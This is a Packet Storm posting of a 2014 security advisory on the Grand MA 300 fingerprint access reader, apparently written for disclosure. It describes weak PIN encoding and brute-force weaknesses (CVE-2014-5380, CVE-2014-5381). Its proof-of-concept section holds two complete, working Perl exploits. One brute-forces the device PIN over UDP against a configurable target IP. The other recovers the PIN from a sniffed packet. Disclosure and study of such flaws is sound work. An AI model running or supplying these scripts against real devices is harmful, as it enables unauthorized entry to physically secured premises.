exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Grand MA 300 Fingerprint Reader Weak PIN Verification

Grand MA 300 Fingerprint Reader Weak PIN Verification
Posted Aug 26, 2014
Authored by Eric Sesterhenn | Site lsexperts.de

Grand MA 300/ID with firmware 6.60 has a weakness that allows the retrieval of the access pin from sniffed data, as well as a weakness that allows a fast brute-force attack on the pin.

tags | exploit
advisories | CVE-2014-5380, CVE-2014-5381
SHA-256 | c73e32f4a61efb4da53a29921041f8c4a0851a33cb60cbbd40518269570c7eb7

Grand MA 300 Fingerprint Reader Weak PIN Verification

Change Mirror Download
=== LSE Leading Security Experts GmbH - Security Advisory 2014-07-13 ===

Grand MA 300 Fingerprint Reader - Weak Pin Verification
------------------------------------------------------------------------

Affected Versions
=================
Grand MA 300/ID with firmware 6.60


Issue Overview
==============
Vulnerability Type: Weak Pin Verification
Technical Risk: high
Likelihood of Exploitation: medium
Vendor: Granding
Vendor URL: http://www.granding.com/productdetail/46/.aspx
Credits: LSE Leading Security Experts GmbH Eric Sesterhenn
Advisory URL: https://www.lsexperts.de/advisories/lse-2014-07-13.txt
Advisory Status: Public
CVE-Number: CVE-2014-5380 and CVE-2014-5381
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5380 and
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5381



Impact
======
A weakness was found in the Grand MA 300 fingerprint access control
device, which allows the retrieval of the access pin from
sniffed data (CVE-2014-5380), as well as a weakness, which allows a
fast brute-force attack on the pin (CVE-2014-5381).


Issue Description
=================
The cipher do encode the pin inside the network or wigand traffic
contains a flaw which allows to retrieve the pin an weakens the
resitance against brute-force attacks.



Temporary Workaround and Fix
============================
Due to the proprietary nature of the product, we are unable
to provide a fix. As a workarount disable the devices entirely
or make sure no physical access to the ethernet or wigand interfaces
are possible.


Proof of Concept
================

The following perl script shows the weak pin encoding,
and allows a bruteforce.

---------------------8<-------------------------------
#!/usr/bin/perl
#
# This brute-forces the pin of a Grand MA 300 Fingerprint
# Access device in less than 5 minutes, if the pin
# is between 1 and 4294967296.
#
# written by Eric Sesterhenn <eric.sesterhenn@lsexperts.de>
# http://www.lsexperts.de
#
use IO::Socket::INET;
use strict;
use warnings;

sub hexd {
my ($data) = @_;
my $ret = "";
for (my $i=0; $i<length($data); $i++) {
$ret .= sprintf "%X", ord(substr($data, $i, 1));
}
return $ret;
}
sub getword {
my ($data, $offset) = @_;
my $ret = 0;

$ret = ord(substr($data, $offset, 1));
$ret += 0x100 * ord(substr($data, $offset+1, 1));
return $ret;
}

sub makeword {
my ($value) = @_;

my $ret = chr(($value & 0xFF)) . chr((($value >> 8) & 0xFF));

return $ret;
}

sub calccrc {
my ($packet) = @_;
# we pad with zero for packets of uneven length
my $newpacket = substr($packet, 0, 2) . substr($packet, 4) . chr(0);
my $crc = 0;

# the crc is the sum of all words in the packet
for (my $i = 0; $i<length($packet) - 2; $i += 2) {
$crc += getword($newpacket, $i);
}

# if the result is to big, we add the high bits to the lower bits
while ($crc > 0xFFFF) {
$crc = ($crc & 0xFFFF) + ($crc >> 0x10);
}

# negate the checksum
$crc = ~$crc & 0xFFFF;
return $crc;
}

sub makepacket {
my ($type, $cid, $seqno, $data) = @_;
my $crc = calccrc(makeword($type).makeword(0).makeword($cid).makeword($seqno).$data);
return makeword($type).makeword($crc).makeword($cid).makeword($seqno).$data;
}

sub calcpass {
my ($pin, $cid) = @_;
my $ret = 0;

# revert the bits
for (my $i = 0; $i < 32; $i++) {
$ret *= 2;
if ($pin & 1) {
$ret = $ret + 1;
}
$pin = $pin / 2;
}

$ret += $cid;

# xor with magic value
$ret ^= 0x4F534B5A;

# switch the words
$ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);

# xor all, but third byte with last byte of gettickcount
my $gc = 0x00;
$ret ^= $gc + ($gc << 8) + ($gc << 24);

# set third byte to last byte of gettickcount
# this weakens the algorithm even further, since this byte
# is no longer relevant to the algorithm
$ret = ($ret & 0xFF000000) + ($gc << 16) + ($ret & 0xFFFF);

return $ret;
}

# flush after every write
local $| = 1;

my ($socket,$client_socket);

# creating object interface of IO::Socket::INET modules which internally creates
# socket, binds and connects to the TCP server running on the specific port.

my $data;
$socket = new IO::Socket::INET (
PeerHost => '192.168.1.201', # CHANGEME
PeerPort => '4370',
Proto => 'udp',
) or die "ERROR in Socket Creation : $!\n";

# initialize the connection
$socket->send(makepacket(1000, 0, 0, ""));
$socket->recv($data, 1024);

my $typ = getword($data, 0);
my $cid = getword($data, 4);
if ($typ != 2005) {
printf("Client does not need a password");
exit(-1);
}

for (my $i = 0; $i < 65536; $i++) {
if (($i % 10) == 0) { printf "$i\n"; }
my $pass = calcpass($i, $cid);
$socket->send(makepacket(1102, $cid, $i + 1, pack("V", $pass)));

$socket->recv($data, 1024);
$typ = getword($data, 0);
if ($typ == 2000) {
printf("Found pin: %d\n", $i);
exit(0);
}
}

# disconnect
$socket->send(makepacket(1001, $cid, 2, ""));

$socket->close();
---------------------8<-------------------------------

The following proof of concept shows how to reverse
the pin from a captured packet.

---------------------8<-------------------------------
#!/usr/bin/perl
#
# This script calculates the original pin based on the pin
# retrieved on the wire for the Grand MA 300 fingerprint access device
#
# look for a UDP packet starting with 0x4E 0x04, the last 4 bytes are the
# encoded pin
#
# written by Eric Sesterhenn <eric.sesterhenn@lsexperts.de>
# http://www.lsexperts.de
#
use warnings;
use strict;

my $cid = 0; # connection id
my $ret = 0x4B00A987; # pin on the wire

# get gettickcount value (third byte)
my $gc = ($ret >> 16) & 0xFF;

# set third byte to magic value (so it becomes zero when we xor it later with the magic value)
$ret = $ret | 0x005A0000;

# xor all, but third byte with last byte of gettickcount
$ret ^= $gc + ($gc << 8) + ($gc << 24);

# switch the words
$ret = (($ret & 0xFFFF) << 16) + ($ret >> 16);

# xor with magic value
$ret ^= 0x4F534B5A;

# substract the connection id
$ret -= $cid;

my $fin = 0;
# revert the bits
for (my $i = 0; $i < 32; $i++) {
$fin *= 2;
if ($ret & 1) {
$fin = $fin + 1;
}
$ret = $ret / 2;
}

printf("final: %X \n", $fin);
---------------------8<-------------------------------


History
=======
2014-07-13 Issue discovered
2014-08-18 Vendor notified
2014-08-20 CWE IDs assigned
2014-08-25 Advisory released

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close